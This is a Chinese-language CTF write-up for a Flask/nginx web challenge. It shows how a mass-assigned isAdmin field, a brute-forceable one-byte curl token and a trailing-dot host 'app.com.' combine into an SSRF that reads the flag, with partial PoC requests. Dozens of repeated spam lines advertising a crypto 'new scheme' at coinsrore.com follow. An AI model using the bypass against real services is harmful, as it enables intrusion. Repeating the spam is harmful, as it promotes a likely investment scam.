Background
不说出处了,贴一小部分代码,找到了说明你有缘 或者是国内又来抄题了
flag获取出口
@app.route('/app/flag', methods=['GET'])
def flag():
ip = ip_address(request.remote_addr)
if ip.is_private:
FLAG = open('./flag.txt','r').read()
return FLAG
else:
return f"Only local access allowed", 403
要求我们访问/app/flag来获得flag
url = build_url(scheme, host, port, path)
if url:
for chr in ['@', '{', '}', ',']:
if chr in url:
return render_template('admin.html', msg='Not allowed string or character')
try:
response = run(
["curl", f"{url}"], capture_output=True, text=True, timeout=1
)
return render_template('admin.html', response=response.stdout)
/app/admin有权限执行curl设想我们要curl这个 /app/flag就可以了
但是他这个build_url是自写的 还需要跟一下
def build_url(scheme, host, port, path=''):
try:
port = int(port)
if not (port > 1 or port < 0x10000):
return False
if not scheme.startswith('http') or len(scheme) > 9:
return False
host_pattern = r'^((\d{1,3}\.){3}\d{1,3}|([a-zA-Z0-9\-]+\.)+[a-zA-Z\.]{2,})$'
if not match(host_pattern,host):
return False
if not path[0] == '/':
path = '/' + path
url = (scheme + host + ':' + str(port) + path).lower()
parsed_url = parse.urlparse(url)
parsed_host = parsed_url.netloc.split(':')[0]
if (match(r'^((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])$', parsed_host) and ip_address(parsed_host).is_private) or (parsed_host == 'app.com'):
return False
return url
关键点在于匹配到正常ip ip不能是私有的ip,我们要怎么发出这个curl 请求也是个关键
容器分两个部分nginx 和flask nginx配置了403鉴权
总结一下 1.需要先是admin权限 2.curl 在限制情况下访问到/app/flag
解析
看下这个代码
@app.route("/app/admin", methods=["GET", "POST"])
def admin():
if not session:
return redirect("/app/login")
if session["isAdmin"] == False:
return redirect("/app/guest")
if request.method == "GET":
return render_template("admin.html")
else:
if not request.cookies['X-CURL-TOKEN'] or request.cookies['X-CURL-TOKEN'] != '[**REDACTED**]':
return render_template('admin.html', msg='Token is not valid')
scheme = request.form['scheme'].strip()
host = request.form['host'].strip()
port = request.form['port'].strip()
path = request.form['path'].strip()
if scheme == '' or host == '' or port == '':
return redirect('/app/admin')
url = build_url(scheme, host, port, path)
首先看看这个is_Admin怎么赋值的
values = {'isAdmin': 0}
values.update(request.form.to_dict(flat=True))
如果表单数据中包含 'isAdmin' 键,它的值就会覆盖默认值 0 而且有一个X-CURL-TOKEN
有个奇妙的X-CURL-TOKEN 我都没仔细读 在nginx的entrypoint.sh有生成内容
#!/bin/bash
RANDOM_DIR=$(openssl rand -hex 1)
mkdir -p /etc/nginx/${RANDOM_DIR}
echo "CURL_TOKEN=[REDACTED]" > /etc/nginx/${RANDOM_DIR}/curl-token
exec "$@"
一位的话是可以被爆破的
server {
listen 8001;
server_name _;
root /;
location = / {
proxy_pass http://app.com:8002/app;
}
location ~ ^/app/flag {
return 403;
}
location ~ ^/app {
proxy_pass http://app.com:8002;
proxy_set_header Host $Host;
proxy_set_header X-Real-IP $remote_addr;
}
}
从nginx可以看到走了一层代理
而且在build url里可以看到检测了app.com的关键字 但可以用app.com.来绕过
这个tricks叫FQDN 意思是完全限定域名最后一个点 (.) 表示该域名是唯一的,并且不依赖于任何其他父域。这可能有效也可能无效,具体取决于 DNS 处理方法。
那就通了
注册1个用户 参数带上is_Admin=1 然后爆破X-CURL-TOken 再请求既可以 我放上部分poc
res = sess.post(f"{URL}/app/signup", data={"username": USERNAME, "password": PASSWORD, "isAdmin":1})
res = sess.post(f"{URL}/app/admin", data={'scheme': 'http://', 'host':'app.com.', 'port':'8002', 'path':'/app/flag'}, cookies={'X-CURL-TOKEN': CURL_TOKEN})
后记
确实好题 思路很有趣的一个题 如果找到这了 大概率说明也被偷了 但你运气好奥
新车新盘 嘎嘎稳 嘎嘎靠谱coinsrore.com
新盘 上车集合 留下 我要发发 立马进裙coinsrore.com
新项目准备上线,寻找志同道合的合作伙伴coinsrore.com
2025年10月新盘 做第一批吃螃蟹的人coinsrore.com
新车新盘 嘎嘎稳 嘎嘎靠谱coinsrore.com
新车首发,新的一年,只带想赚米的人coinsrore.com
新盘 上车集合 留下 我要发发 立马进裙coinsrore.com
做了几十年的项目 我总结了最好的一个盘(纯干货)coinsrore.com
新车上路,只带前10个人coinsrore.com
新盘首开 新盘首开 征召客户!!!coinsrore.com
新项目准备上线,寻找志同道合 的合作伙伴coinsrore.com
新车即将上线 真正的项目,期待你的参与coinsrore.com
新盘新项目,不再等待,现在就是最佳上车机会!coinsrore.com
新盘新盘 这个月刚上新盘 新车第一个吃螃蟹!coinsrore.com
2025年10月新盘 做第一批吃螃蟹的人coinsrore.com
新车新盘 嘎嘎稳 嘎嘎靠谱coinsrore.com
新车首发,新的一年,只带想赚米的人coinsrore.com
新盘 上车集合 留下 我要发发 立马进裙coinsrore.com
做了几十年的项目 我总结了最好的一个盘(纯干货)coinsrore.com
新车上路,只带前10个人coinsrore.com
新盘首开 新盘首开 征召客户!!!coinsrore.com
新项目准备上线,寻找志同道合 的合作伙伴coinsrore.com
新车即将上线 真正的项目,期待你的参与coinsrore.com
新盘新项目,不再等待,现在就是最佳上车机会!coinsrore.com
新盘新盘 这个月刚上新盘 新车第一个吃螃蟹!coinsrore.com
2025年10月新盘 做第一批吃螃蟹的人coinsrore.com
新车新盘 嘎嘎稳 嘎嘎靠谱coinsrore.com
新车首发,新的一年,只带想赚米的人coinsrore.com
新盘 上车集合 留下 我要发发 立马进裙coinsrore.com
做了几十年的项目 我总结了最好的一个盘(纯干货)coinsrore.com
新车上路,只带前10个人coinsrore.com
新盘首开 新盘首开 征召客户!!!coinsrore.com
新项目准备上线,寻找志同道合 的合作伙伴coinsrore.com
新车即将上线 真正的项目,期待你的参与coinsrore.com
新盘新项目,不再等待,现在就是最佳上车机会!coinsrore.com
新盘新盘 这个月刚上新盘 新车第一个吃螃蟹!coinsrore.com